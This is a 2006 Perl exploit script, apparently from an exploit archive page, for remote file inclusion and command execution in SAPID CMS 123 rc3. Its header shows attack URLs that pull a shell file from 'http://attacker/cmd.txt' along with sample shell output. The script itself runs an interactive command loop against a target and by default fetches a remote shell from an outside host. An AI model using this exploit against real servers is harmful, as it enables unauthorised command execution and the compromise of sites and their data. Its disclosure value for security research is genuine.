477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
125 lines
3.6 KiB
Perl
Executable file
125 lines
3.6 KiB
Perl
Executable file
#########################################################################
|
|
# Title: SAPID CMS Multiple remote Command Execution Vulnerabilities
|
|
#
|
|
# Author: Simo64 <simo64_at_morx_org>
|
|
#
|
|
# Discovered: 06 Aout 2006
|
|
#
|
|
# Published : 08 Aout 2006
|
|
#
|
|
# MorX Security Research Team
|
|
#
|
|
# http://www.morx.org
|
|
#
|
|
# Vendor : SAPID CMS
|
|
#
|
|
# Version : 123 rc3 ()
|
|
#
|
|
# Website : http://sapid.sourceforge.net
|
|
#
|
|
# Severity: Critical
|
|
#
|
|
# Details:
|
|
#
|
|
#
|
|
# [+] Remote File Inclusion
|
|
#
|
|
# 1) vulnerable code in usr/extensions/get_infochannel.inc.php lines( 8 - 9 )
|
|
#
|
|
# if(!defined("common_extfunctions")) { define("common_extfunctions", "loaded");
|
|
# include($root_path."usr/system/common_extfunctions.inc.php"); }
|
|
#
|
|
# 2) vulnerable code in usr/extensions/get_tree.inc.php lines( 9 - 10 )
|
|
#
|
|
# if(!defined("common_extfunctions")) { define("common_extfunctions", "loaded");
|
|
# include($GLOBALS["root_path"]."usr/system/common_extfunctions.inc.php"); }
|
|
#
|
|
# $root_path , $GLOBALS["root_path"] variable are not sanitized ,before it can be used to include files
|
|
#
|
|
# [-] Exploit :
|
|
#
|
|
# http://localhost/usr/extensions/get_infochannel.inc.php?root_path=http://attacker/cmd.txt?cmd=id;pwd
|
|
#
|
|
# http://localhost/usr/extensions/get_tree.inc.php?GLOBALS["root_path"]=http://attacker/cmd.txt?cmd=id;pwd
|
|
#
|
|
#======================================
|
|
# Poc Remote Command Execution Exploit:
|
|
#======================================
|
|
#
|
|
# http://www.morx.org/sapid.txt
|
|
#
|
|
# C:\>perl sapid.pl http://127.0.0.1
|
|
#
|
|
# ===============================================================
|
|
# = SAPID 123_rc3 (rootpath) Remote Command Execution Exploit =
|
|
# ===============================================================
|
|
# = MorX Security Research Team - www.morx.org =
|
|
# = Coded by Simo64 - simo64@www.morx.org =
|
|
# ===============================================================
|
|
|
|
# simo64@morx.org :~$ id; ls
|
|
# uid=48(apache) gid=48(apache) groups=48(apache)
|
|
# get_calendar.inc.php
|
|
# get_filter_list.inc.php
|
|
# get_gb_records.inc.php
|
|
# get_infochannelfilter.inc.php
|
|
# get_infochannel.inc.php
|
|
# get_rss.inc.php
|
|
# get_searchresults.inc.php
|
|
# get_survey.inc.php
|
|
# get_track.inc.php
|
|
# get_tree.inc.php
|
|
# soap_call.inc.php
|
|
# simo64@morx.org :~$ exit
|
|
|
|
# Enjoy !
|
|
#
|
|
#!/usr/bin/perl
|
|
|
|
|
|
use LWP::Simple;
|
|
|
|
print "\n===============================================================\n";
|
|
print "= SAPID 123_rc3 (rootpath) Remote Command Execution Exploit =\n";
|
|
print "===============================================================\n";
|
|
print "= MorX Security Research Team - www.morx.org =\n";
|
|
print "= Coded by Simo64 - simo64\@www.morx.org =\n";
|
|
print "===============================================================\n\n";
|
|
|
|
my $targ,$rsh,$path,$con,$cmd,$data,$getit ;
|
|
|
|
$targ = $ARGV[0];
|
|
$rsh = $ARGV[1];
|
|
|
|
if(!$ARGV[1]) {$rsh = "http://zerostag.free.fr/sh.txt";}
|
|
|
|
if(!@ARGV) { &usage;exit(0);}
|
|
|
|
$targ = $ARGV[0];
|
|
|
|
|
|
|
|
chomp($targ);
|
|
chomp($rsh);
|
|
|
|
$path = $targ."/usr/extensions/get_infochannel.inc.php";
|
|
$con = get($path) || die "[-]Cannot connect to Host";
|
|
|
|
sub usage(){
|
|
print "Usage : perl $0 host/path [OPTION]\n\n";
|
|
print "Exemples : perl $0 http://127.0.0.1\n";
|
|
print " perl $0 http://127.0.0.1 http://yoursite/yourcmd.txt\n\n";
|
|
}
|
|
|
|
while ()
|
|
{
|
|
print "simo64\@morx.org :~\$ ";
|
|
chomp($cmd=<STDIN>);
|
|
if ($cmd eq "exit") { print "\nEnjoy !\n\n";exit(0);}
|
|
$getit = $path."?root_path=".$rsh."?&cmd=".$cmd;
|
|
$data=get($getit);
|
|
if($cmd eq ""){ print "Please enter command !\n"; }
|
|
else{ print $data ;}
|
|
}
|
|
|
|
# milw0rm.com [2006-08-10]
|